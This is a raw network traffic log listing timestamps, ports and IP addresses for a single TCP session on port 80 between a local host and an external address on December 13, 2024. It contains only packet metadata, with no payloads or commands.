Dec 13, 2024 08:18:56.960187912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.960206985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.960586071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.960659981 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.972040892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972219944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972237110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972265005 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.972384930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972402096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972417116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972429037 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.972434044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972455025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972457886 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.972496986 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.972678900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972697973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972713947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972729921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.972740889 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.972764015 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:56.972840071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.973117113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:56.973170996 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.144010067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144051075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144078970 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144095898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144113064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144115925 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.144129992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144148111 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144155979 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.144200087 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144215107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.144227982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144242048 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.144244909 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144283056 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.144438982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144455910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144471884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144499063 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.144597054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144614935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144632101 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.144639969 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.144680977 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.144999981 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.145066023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.145081043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.145097017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.145107031 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.145122051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.145137072 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.145138979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.145157099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.145179987 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.145308018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.145349026 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.145365000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.145380974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.145440102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.145931959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146004915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146019936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146047115 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.146146059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146189928 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.146198988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146224976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146243095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146267891 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.146399975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146418095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146445036 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.146472931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146527052 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.146804094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146872044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146888018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.146912098 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.147023916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.147041082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.147057056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.147070885 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.147072077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.147090912 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.147252083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.147269011 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.147284985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.147295952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.147331953 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.147788048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.147872925 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.147888899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.147917986 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.148034096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148051977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148067951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148077011 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.148086071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148103952 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.148257017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148272991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148288965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148297071 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.148346901 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.148720980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148781061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148797989 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148823977 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.148940086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148958921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148974895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.148993969 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.149019003 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.149101019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.149127960 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.149143934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.149161100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.149168015 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.149208069 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.149682999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.149740934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.149756908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.149785042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.149876118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.149892092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.149915934 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.149918079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.149935961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.149959087 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.150110960 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.150137901 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.150154114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.150154114 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.150199890 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.150686026 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.150713921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.150732994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.150754929 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.150911093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.150937080 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.150954962 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.150980949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.151000023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.151021957 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.151232004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.151248932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.151269913 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.151302099 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.151351929 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.151782036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.151839018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.151859999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.151875973 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.151963949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.151981115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.151995897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.152013063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.152018070 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.152040005 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.152154922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.152204990 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.164267063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164298058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164313078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164347887 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.164458990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164475918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164491892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164506912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164506912 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.164537907 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.164702892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164720058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164736032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164752007 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.164788961 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.164887905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164904118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164920092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164936066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.164944887 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.164982080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.336227894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336288929 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336303949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336342096 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.336350918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336379051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336390018 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.336395979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336432934 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.336549044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336572886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336587906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336605072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336612940 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.336807013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336823940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336847067 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.336888075 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.336954117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336982965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.336996078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337090969 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.337125063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337198019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337219954 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.337335110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337349892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337367058 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337385893 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.337443113 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.337611914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337678909 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337694883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337820053 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337843895 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.337847948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337855101 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.337867975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337883949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.337901115 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.338078976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338097095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338115931 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.338403940 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338475943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338493109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338519096 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.338541985 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.338615894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338630915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338646889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338661909 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338680983 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.338707924 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.338864088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338880062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338895082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.338934898 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.339384079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.339432001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.339447021 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.339474916 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.339494944 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.339538097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.339662075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.339677095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.339692116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.339713097 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.339734077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.339858055 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.339873075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.339890003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.339914083 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.340423107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.340462923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.340471983 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.340478897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.340514898 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.340610027 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.340625048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.340650082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.340658903 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.340667009 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.340704918 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.340867043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.340923071 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.340939999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.340992928 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.341285944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.341336012 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.341341972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.341358900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.341398001 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.341490030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.341506958 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.341521978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.341545105 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.341619968 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.341711998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.341727018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.341743946 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.341751099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.341790915 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.342256069 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.342302084 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.342323065 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.342339993 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.342374086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.342446089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.342489004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.342504978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.342519999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.342531919 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.342559099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.342681885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.342725039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.342741013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.342787027 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.343262911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.343373060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.343389034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.343398094 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.343426943 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.343460083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.343482971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.343498945 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.343514919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.343518972 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.343560934 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.343745947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.343761921 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.343806982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.343822002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.344218969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.344245911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.344260931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.344264984 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.344306946 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.344420910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.344436884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.344453096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.344468117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.344476938 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.344512939 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.356338024 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.356483936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.356498003 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.356515884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.356539965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.356539011 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.356556892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:57.356566906 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:57.356575012 CET	80	49726	185.81.68.147	192.168.2.11
